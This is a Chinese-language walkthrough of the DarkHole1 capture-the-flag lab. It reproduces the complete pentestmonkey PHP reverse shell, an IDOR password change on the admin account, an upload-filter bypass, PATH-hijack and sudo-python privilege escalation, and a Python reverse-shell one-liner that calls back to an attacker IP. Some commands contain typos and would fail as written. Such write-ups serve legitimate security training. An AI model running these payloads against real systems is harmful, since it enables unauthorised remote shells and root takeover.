DarkHole1
信息收集
查看靶机IP
arp-scan -l
nmap -O 132.168.129.0/24 --min-rate 1000
得到目标靶机IP为192.168.129.138

查看开放的端口,有22、80端口

目录扫描
dirsearch -u "192.168.129.138"
dirb http://192.168.129.138
有注册登录界面,upload界面,dashboard.php是网站页面,都访问下看看




访问网站http://192.168.129.138
源码没有东西,有一个登陆的选项

尝试注册admin账号,发现提示已经注册过了

注册登录下,这是登陆成功的页面内容,然后有一个id=4,这就很容易联想admin的id应该是1

抓包

修改password密码进行抓包,将id修改成1,然后放行

返回主界面进行登录,id=1对应的是admin账号,用admin账号进行登录,密码是我们修改后的密码8
可以看到成功登录admin账号,此时账号中多了一个上传的入口
这个上传存在过滤,只能上传图片,经过尝试发现还可以上传phtml文件,这里利用反向连接shell

注意要将phtml文件中的内容ip和端口修改成自己需要的
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.129.128'; // CHANGE THIS
$port = 7777; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
接着访问http://192.168.129.138/upload/1.phtml
在kali中开启监听
nc -lvvp 7777


获取shell
进行交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

接着查看内容,肯定是想让我们的权限先升级到普通用户
查看/etc/passwd(/etc/passwd 是 Linux/Unix 系统中存储所有用户账户基础信息的核心系统文件,包含系统用户、普通用户、服务账户的关键配置,所有用户(包括普通用户)都能读取该文件,但密码信息已移至更安全的 /etc/shadow)
cat /etc/passwd
darkhole:x:1000:1000:john:/home/darkhole:/bin/bash(备注关联John用户)
/bin/bash(可交互式登录)

然后就是查看一下目录的内容
在/home目录下看到了john用户,john目录下只有toto文件有权限查看


运行一下toto文件,运行发现是似乎用john的身份执行了id命令。利用这个来获取John普通用户权限

我们可以通过修改PATH环境变量,让高权限的程序执行我们自定义的脚本,从而实现从www-data用户踢拳道john用户( Linux 环境变量劫持提权,PATH 注入攻击)
echo '/bin/bash' >tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PSTH
./toto
在/tmp目录下创建一个名为id的文件,内容是/bin/bash(即执行 bash shell)。因为目标程序./toto会调用id命令,我们用这个恶意脚本替换系统默认的id命令。
赋予其777的权限,所有用户都可以读写执行该文件,确保后续程序能正常运行这个恶意脚本
设置环境变量,修改系统的PATH变量,把/tmp目录放到PATH的最前面。Linux 执行命令时,会按PATH的顺序查找命令。原本id命令在/usr/bin/id,现在PATH最前面是/tmp,所以系统会优先执行/tmp/id(我们的恶意脚本)。
完成这些操作后,可以看到变成john用户了

现在可以正常查看/home/john目录下的文件内容
得到john用户的密码和第一个flag

提权
sudo -l 查看一下john的权限
允许john用户可以以root权限利用python3进行运行file.py
方法1:
但是file.py是空的,需要输入import os;os system('/bin/bash'),调用系统命令执行/bin/bash

echo "import os;os system('/bin/bash')" >file.py
sudo python3 /home/john/file.py
root目录下查看root.txt得到最后一个flag

/bin/bash 是 Linux/Unix 系统中最核心的交互式命令解释器(Shell),可以把它理解成 “系统和用户之间的翻译官”—— 你在终端输入的所有命令(比如 ls、cd、chmod),都是由 bash 接收、解析并转交给内核执行的,而 /bin/bash 就是这个程序在系统中的具体存放路径。
方法2:
进行监听
import os,pty,socket;s=socket.socket();s.connect(("192.168.129.128",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

也是可以监听成功,就切换到root用户


更多推荐
所有评论(0)